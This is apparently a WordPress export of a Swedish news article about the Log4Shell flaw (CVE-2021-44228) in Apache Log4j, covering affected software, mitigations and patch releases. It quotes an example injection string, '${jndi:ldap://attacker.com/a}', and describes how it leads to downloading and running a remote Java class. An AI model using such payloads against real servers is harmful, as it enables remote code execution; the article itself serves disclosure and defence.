{"id":102562,"date":"2021-12-10T09:36:48","date_gmt":"2021-12-10T07:36:48","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty"},"modified":"2021-12-10T09:36:48","modified_gmt":"2021-12-10T07:36:48","slug":"katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sv\/blog\/news\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","title":{"rendered":"En katastrofal s\u00e5rbarhet i Apache Log4j som p\u00e5verkar m\u00e5nga Java-projekt.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

I Apache Log4j, det popul\u00e4ra ramverket f\u00f6r loggning i Java-applikationer, har en kritisk s\u00e5rbarhet uppt\u00e4ckts som g\u00f6r det m\u00f6jligt att k\u00f6ra godtycklig kod genom att skriva ett specialformat v\u00e4rde i loggen i formatet \"{jndi:URL}\". En attack kan utf\u00f6ras mot Java-applikationer som loggar v\u00e4rden h\u00e4mtade fr\u00e5n externa k\u00e4llor, till exempel n\u00e4r problematiska v\u00e4rden skrivs ut i felmeddelanden. <\/p>\n

Det noteras att n\u00e4stan alla projekt som anv\u00e4nder ramverk s\u00e5som Apache Struts, Apache Solr, Apache Druid eller Apache Flink \u00e4r s\u00e5rbara, inklusive Steam, Apple iCloud, klienter och servrar f\u00f6r spelet Minecraft. S\u00e5rbarheten f\u00f6rv\u00e4ntas leda till en v\u00e5g av massattacker mot f\u00f6retagsapplikationer, likt historien om kritiska s\u00e5rbarheter i Apache Struts, som uppskattas anv\u00e4ndas i webbapplikationer av 65% av Fortune 100-f\u00f6retagen. Det har redan registrerats f\u00f6rs\u00f6k att skanna n\u00e4tverket efter s\u00e5rbara system. <\/p>\n

Problemet f\u00f6rv\u00e4rras av att en fungerande exploit redan har publicerats, men det finns f\u00f6r n\u00e4rvarande inga fixar f\u00f6r stabila versioner. CVE-identifieraren har \u00e4nnu inte tilldelats. Fixen ing\u00e5r endast i den testversion av log4j-2.15.0-rc1. Som en tillf\u00e4llig l\u00f6sning f\u00f6r att blockera s\u00e5rbarheten rekommenderas att st\u00e4lla in parametern log4j2.formatMsgNoLookups till true. <\/p>\n

Problemet orsakades av att log4j st\u00f6der hantering av speciella m\u00f6nster \"{}\" i de str\u00e4ngar som loggas, d\u00e4r JNDI (Java Naming and Directory Interface) f\u00f6rfr\u00e5gningar kunde utf\u00f6ras. Attacken g\u00e5r ut p\u00e5 att skicka en str\u00e4ng med substitutionen \"${jndi:ldap:\/\/attacker.com\/a}\", vilket leder till att log4j skickar till server<\/a> attacker.com LDAP-f\u00f6rfr\u00e5gan f\u00f6r s\u00f6kv\u00e4gen till Java-klassen. Den returnerade servern<\/a> s\u00f6kv\u00e4gen (till exempel http:\/\/second-stage.attacker.com\/Exploit.class) kommer att laddas ner och k\u00f6ras i kontexten av den aktuella processen, vilket g\u00f6r det m\u00f6jligt f\u00f6r angriparen att f\u00e5 exekvera godtycklig kod i systemet med r\u00e4ttigheter fr\u00e5n den aktuella applikationen. <\/p>\n

Till\u00e4gg 1: S\u00e5rbarheten har tilldelats identifieraren CVE-2021-44228. <\/p>\n

Till\u00e4gg 2: En metod f\u00f6r att kringg\u00e5 skyddet som lades till i releasen log4j-2.15.0-rc1 har uppt\u00e4ckts. En ny uppdatering log4j-2.15.0-rc2 har f\u00f6reslagits med ett mer komplett skydd mot s\u00e5rbarheten. I koden framh\u00e4vs \u00e4ndringen som r\u00f6r avsaknaden av kraschar vid anv\u00e4ndning av ett felaktigt formatterat JNDI-URL.
\n
K\u00e4lla: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

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Java-applikationer, har en kritisk s\u00e5rbarhet p\u00e5tr\u00e4ffats som m\u00f6jligg\u00f6r k\u00f6rning av godtycklig kod genom att skriva ett speciellt formaterat v\u00e4rde i loggen.","canonical_url":"https:\/\/prohoster.info\/sv\/blog\/news\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sv_SE","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u0430\u0442\u0430\u0441\u0442\u0440\u043e\u0444\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 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